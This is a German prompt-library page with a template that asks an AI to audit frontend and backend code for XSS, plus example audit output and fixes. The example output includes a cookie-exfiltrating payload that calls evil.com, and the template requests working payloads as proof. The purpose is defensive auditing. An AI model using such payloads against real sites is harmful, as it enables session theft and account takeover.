Skip to content
NeuralSkills
Sicherheit

XSS-Schutzschild

Cross-Site-Scripting-Schwachstellen finden und beheben — Reflected, Stored und DOM-basiertes XSS in Frontend und Backend.

Experte Kostenlos Veroeffentlicht: 15. April 2026
Kompatible Tools claude-codechatgptgeminicopilotcursorwindsurfuniversal

Das Problem

Cross-Site Scripting (XSS) ist die am weitesten verbreitete Web-Schwachstelle und tritt in nahezu jeder Anwendung auf, die nutzergenerierte Inhalte rendert. Eine einzige unsanitisierte Template-Variable ermoeglicht es Angreifern, Session-Cookies zu stehlen, Nutzer auf Phishing-Seiten umzuleiten oder Krypto-Miner in die Website einzuschleusen. Moderne Frameworks bieten Auto-Escaping, doch Entwickler umgehen es routinemaessig mit dangerouslySetInnerHTML, v-html oder Raw-Template-Literalen.

Der Prompt

Du bist ein Frontend-Sicherheitsexperte mit Spezialisierung auf XSS-Praevention. Pruefe den folgenden Code auf alle Arten von Cross-Site-Scripting-Schwachstellen.

FRAMEWORK: [z.B. React, Vue, Angular, Astro, Vanilla JS, serverseitig gerendertes EJS/Pug]
RENDERING: [z.B. SSR, SSG, CSR, Hybrid]

CODE:
[Templates, Komponenten, API-Response-Handler oder serverseitigen Rendering-Code einfuegen]

Auf alle drei XSS-Typen scannen:

1. **Reflected XSS**: Nutzereingabe wird ohne Encoding in der Antwort zurueckgegeben
2. **Stored XSS**: Schaedliche Daten in der Datenbank gespeichert und anderen Nutzern angezeigt
3. **DOM-basiertes XSS**: Clientseitiges JS schreibt unescapte Daten ins DOM

Diese spezifischen Muster pruefen:
- innerHTML, outerHTML, document.write()
- dangerouslySetInnerHTML (React), v-html (Vue), [innerHTML] (Angular)
- Template-Literale in HTML-Kontext eingefuegt
- URL-Parameter in href, src oder Event-Handlern verwendet
- eval(), Function(), setTimeout/setInterval mit String-Argumenten
- postMessage-Handler ohne Origin-Validierung
- SVG/MathML-Injection-Vektoren
- CSS-Injection ueber Style-Attribute

Fuer jeden Befund:
- **XSS-Typ**: Reflected / Stored / DOM-basiert
- **Payload**: Funktionierender XSS-Payload als Beweis
- **Schweregrad**: Kritisch / Hoch / Mittel
- **Loesung**: Kontextgerechtes Encoding oder Sanitisierung

Beispielausgabe

## XSS-Audit: 3 Schwachstellen gefunden

### KRITISCH: Stored XSS ueber dangerouslySetInnerHTML
Komponente: UserComment.jsx, Zeile 24
`<div dangerouslySetInnerHTML={{__html: comment.body}} />`
Payload: `<img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">`
Loesung: DOMPurify.sanitize(comment.body) verwenden oder als Klartext rendern.

### HOCH: DOM-basiertes XSS ueber URL-Parameter
Datei: search.js, Zeile 12: `document.getElementById('query').innerHTML = urlParams.get('q')`
Payload: `?q=<script>alert(1)</script>`
Loesung: textContent statt innerHTML verwenden.

Wann verwenden

Jede Komponente auditieren, die nutzergenerierte Inhalte rendert — Kommentare, Profile, Suchergebnisse, Chat-Nachrichten, E-Mail-Templates. Unverzichtbar nach dem Hinzufuegen von Rich-Text-Editoren, Markdown-Renderern oder Features, die HTML-Eingaben akzeptieren. Vor jedem Release ausfuehren, das Rendering-Logik betrifft.

Profi-Tipps

  • Im Kontext testen — die KI nach Payloads fragen, die spezifisch fuer das Escaping-Verhalten des eigenen Frameworks sind, da React anders escapet als Vue oder Angular.
  • Gesamten Datenfluss pruefen — Nutzereingabe vom API-Endpunkt ueber die Datenbank bis zum Template-Rendering verfolgen, um Stored XSS zu finden.
  • CSS-Injection nicht vergessen — Style-Attribute koennen Daten ueber background-image-URLs exfiltrieren und Layouts zerstoeren.
  • Content Security Policy einbeziehen — Code-Fixes mit CSP-Headern fuer Defense-in-Depth kombinieren. Eine strikte CSP blockiert Inline-Skripte, selbst wenn XSS Code-Level-Abwehrmassnahmen umgeht.